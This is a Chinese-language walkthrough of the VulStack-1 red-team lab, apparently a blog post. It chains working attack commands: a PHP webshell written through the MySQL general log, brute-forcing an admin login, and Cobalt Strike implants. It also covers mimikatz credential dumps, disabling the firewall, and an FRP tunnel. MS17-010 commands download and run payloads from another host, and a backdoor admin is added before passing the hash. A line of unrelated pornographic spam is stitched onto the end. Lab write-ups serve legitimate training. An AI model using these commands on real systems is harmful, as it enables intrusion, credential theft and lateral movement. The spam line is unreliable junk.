ctf網絡安全大賽,紅隊實戰之VulStack-1

  • 作者:
  • 時間:2022-05-30 09:29:37
簡介 ctf網絡安全大賽,紅隊實戰之VulStack-1

紅日靶機系列是完全模擬ATT

截屏2022-05-22 04.26.35

如果我們通過into outfile來寫入木馬,那么由于secure_file_priv的限制會導致這種方案并不可行

select '?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';

截屏2022-05-22 04.36.24

因此我們需要通過日志來寫入木馬,嘗試開啟日志記錄

set global general_log = "ON";

截屏2022-05-22 04.38.45

查看日志記錄文件

show variables like "general%";

截屏2022-05-22 04.39.55

修改日志記錄文件為木馬文件

set global general_log_file="C:/phpStudy/www/mac.php";

截屏2022-05-22 04.44.13

寫入木馬至指定日志記錄文件當中

select '?php eval($_POST["mac"]);?>'

截屏2022-05-22 04.46.17

成功通過蟻劍連接木馬文件
截屏2022-05-22 04.47.54

YXCMS后臺上傳木馬

在源碼中解壓后發現yxcms目錄并嘗試訪問,訪問后發現頁面為 YXCMS
截屏2022-05-22 04.53.22

由于 YXCMS 的默認后臺為index.php?r=admin,我們嘗試訪問該后臺地址
截屏2022-05-22 04.55.46

使用 BurpSuite 截取數據包,復用驗證碼嘗試爆破密碼
截屏2022-05-22 04.59.29

成功爆破出 admin 密碼為 123456,使用該賬戶密碼成功登錄后臺

截屏2022-05-22 05.03.25

選擇前臺模版并在index_index.php插入木馬

截屏2022-05-22 05.07.10

保存成功后使用蟻劍連接木馬文件

截屏2022-05-22 05.09.03

0x03 內網信息探測

CS上線云服務器

在蟻劍中執行命令發現當前用戶為域管理員,那么可以省去提權過程并直接上線CS

截屏2022-05-22 05.17.59

在CS中開啟 http 監聽器并生成利用程序mac1.exe
截屏2022-05-22 05.26.08

上傳木馬后并在命令行中直接執行
截屏2022-05-22 05.28.14

成功上線CS
截屏2022-05-22 05.29.18

本機基礎環境信息收集

減少回連時間為3秒并查看網絡連接情況

sleep 3
shell ipconfig

截屏2022-05-22 05.45.37

如果有需要的話可以關閉防火墻

netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off

成功發現目標存在兩個網段,說明內網網段中可能存在其他主機

192.168.0.0/24 
192.168.52.0/24

運行 mimikatz 成功獲得管理員密碼為Mac123456

logonpasswords

截屏2022-05-22 05.45.04

成功獲取用戶哈希值

hashdump

截屏2022-05-22 05.47.57

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

借助梼杌插件通過 ms14-058 可直接將權限提升至 SYSTEM
截屏2022-05-22 05.55.05

成功上線 SYSTEM 系統管理員
截屏2022-05-22 05.55.57

內網域環境信息收集

內網信息收集的目的是查找域控以及其他域內主機,以下為常見的內網信息收集命令

net view                 # 查看局域網內其他主機名
net config Workstation   # 查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域
net user                 # 查看本機用戶列表
net user /domain         # 查看域用戶
net localgroup administrators # 查看本地管理員組(通常會有域用戶)
net view /domain         # 查看有幾個域
net user 用戶名 /domain   # 獲取指定域用戶的信息
net group /domain        # 查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作)
net group 組名 /domain    # 查看域中某工作組
net group "domain admins" /domain  # 查看域管理員的名字
net group "domain computers" /domain  # 查看域中的其他主機名
net group "doamin controllers" /domain  # 查看域控制器主機名(可能有多臺)

首先我們需要判斷當前域名是什么?判斷的方式有許多種,以下為常用的幾種方式

shell ipconfig /all

截屏2022-05-22 06.03.54

shell net config workstation

截屏2022-05-22 06.04.51

成功探測到當前域名為god.org,接下來需要探索目標存在多少域

shell net view /domain

截屏2022-05-22 06.06.59

結果顯示目標只存在GOD域,而WORKGROUP只是工作組而已。然后嘗試尋找域控主機名

shell net group "domain controllers" /domain

截屏2022-05-22 15.02.00

結果顯示報錯RPC 服務器不可用,這是什么原因造成的呢?

原來是目標無法完成域名解析,因此我們可以在外網網卡中設置 DNS 服務器為域控

截屏2022-05-22 下午3.07.10

再次尋找域控并確認域控主機名為OWA
截屏2022-05-22 15.34.04

有了域控主機名以后我們嘗試尋找其他域內主機

net view

截屏2022-05-22 15.36.44

shell net group "domain computers" /domain

截屏2022-05-22 15.38.27

至此內網信息搜集完畢,域內主機的分布如下,我們需要進一步完成橫向滲透

主機名IP地址是否為域控
OWA192.168.52.138
ROOT-TVI862UBEH192.168.52.141
STU1192.168.52.143

0x03 內網橫向滲透

建立FRP代理隧道

為了更好地模擬真實環境,我們可以通過在云服務器上搭建 FRP 隧道訪問目標內網。

FRP配置

frps.ini配置:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678

frpc.ini配置:

[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

FRP連接

在云服務器上啟動 FRP

./frps -c frps.ini

截屏2022-05-22 下午5.04.08

上傳 FRP 至靶機后查看文件
截屏2022-05-22 17.12.26

在 CS 上啟動連接

shell frpc.exe -c frpc.ini

截屏2022-05-22 17.13.43

在本地設置 proxychains 連接目標的6000端口建立 FRP 隧道

vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000

截屏2022-05-22 17.28.19

使用 nmap 掃描內網主機進行測試,連接成功說明隧道建立成功

proxychains4 nmap 192.168.52.138 -p 135,445,80

截屏2022-05-22 17.25.07

MSF永恒之藍漏洞利用

FSCAN漏洞掃描

在 CS 中上傳 fsacn 并設置掃描目標

## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143

截屏2022-05-22 17.49.14

使用 fscan 掃描目標,結果顯示全部目標都存在 MS17-010 漏洞

shell fscan64.exe -hf hosts.txt

截屏2022-05-22 17.53.05

域控主機上線CS

在 CS 的會話當中設置新的監聽器用于上線內網主機

截屏2022-05-22 17.59.14

需要注意的是在設置監聽器時需要確認內網代理主機的IP地址,否則會導致內網主機無法連接

截屏2022-05-22 18.00.22

借用該監聽器生成相應木馬mac2.exe
截屏2022-05-22 18.06.45

成功將該木馬上傳至目標的站點目錄
截屏2022-05-22 18.09.21

在本地開啟 MSF 并設置代理

msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true

截屏2022-05-22 18.13.35

使用 MSF 執行命令上線 CS

msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run

截屏2022-05-22 18.21.18

域控主機成功上線CS
截屏2022-05-22 18.21.33

域內主機上線CS

在使用 MS17-010 攻擊域內主機時 CS 無法上線,這是因為該主機為 Windows Server 2003,我們無法使用 powershell 執行命令,與此同時該操作系統為 X86 架構,對應需要使用32位的木馬。因此我們需要使用 CS 生成32位木馬mac3.exe
截屏2022-05-22 19.41.01

同樣地我們將其上傳至目標的站點目錄
截屏2022-05-22 19.42.36

重新設置命令使用 certutil 下載木馬,但是目標返回報錯信息

msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run

截屏2022-05-22 20.19.41

那么我們換一種思路,嘗試通過永恒之藍創建管理員賬戶

net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac

截屏2022-05-22 20.29.43

嘗試使用新建管理員通過IPC$進行連接,但目標無法連接

shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac

截屏2022-05-22 20.35.42

嘗試使用域管理員進行登錄,目標連接成功

shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use

截屏2022-05-22 21.14.02

將木馬復制到域內主機的C盤目錄當中

shell cd .. && copy mac3.exe \\192.168.52.141\c$

截屏2022-05-22 21.18.54

在 MSF 中通過 MS17-010 執行木馬

msf > set command "C:\\mac3.exe"
msf > show options
msf > run

截屏2022-05-22 21.22.49

域內主機成功上線CS
截屏2022-05-22 21.23.49

截屏2022-05-22 21.32.17

域管理員憑證傳遞利用

憑證傳遞利用原理

通過域管理員的憑證可以快速拿下目標域環境,在 CS 中還給我們提供了 SMB Beacon,它主要通過 SMB 協議建立連接,使用命名管道通過父級 Beacon 進行通訊,當兩個 Beacons 鏈接后,子 Beacon 會從父 Beacon 獲取到任務并發送。因為鏈接的 Beacon 使用 Windows 命名管道進行通信,因此流量封裝在 SMB 協議中,所以 SMB Beacon 相對隱蔽,繞防火墻時可能發揮奇效。

憑證傳遞上線CS

在 CS 的會話中建立 SMB 監聽器用于快速傳遞憑證
截屏2022-05-22 21.51.39

Targets中選擇 psexec_psh 傳遞哈希值
截屏2022-05-22 21.58.18

選擇會話并設置 SMB 監聽器
截屏2022-05-22 21.56.37

域控主機成功上線CS
截屏2022-05-22 22.00.10

同樣利用該方法無法上線域內主機,這主要是因為目標沒有 powershell 環境,我們可以通過 psexec 方式來傳遞哈希
截屏2022-05-22 22.08.04

域內主機成功上線CS
截屏2022-05-22 22.05.52

截屏2022-05-22 22.09.14

0x04 靶場學習總結

這是我第二次做該靶場,第一次做的時候只采用了憑證傳遞的利用方式,并沒有考慮 MS17-010 漏洞利用,也沒有采用隧道的方式來訪問內網,經過這些天的考慮后我決定重做溫習一遍,一是重新整理一下思路;二是鍛煉一下內網滲透思路。當然在練習過程中我也遇到了許多問題,比如 certutil.exe 怎么無法在 Windows Server 2003 中傳遞保存木馬文件、FTP 匿名登錄漏洞如何通過代理登錄利用等,顯然這些問題在打靶記錄中未直接體現。但它們對滲透思路的打磨有很大幫助。同時非常感謝紅日團隊以及前輩的實踐,我將繼續對后續靶場進行研究學習。

韩国19禁A片在线播放,色猫咪免费人成网站在线观看,中国最猛性XXXXX,五月天天爽天天狠久久久综合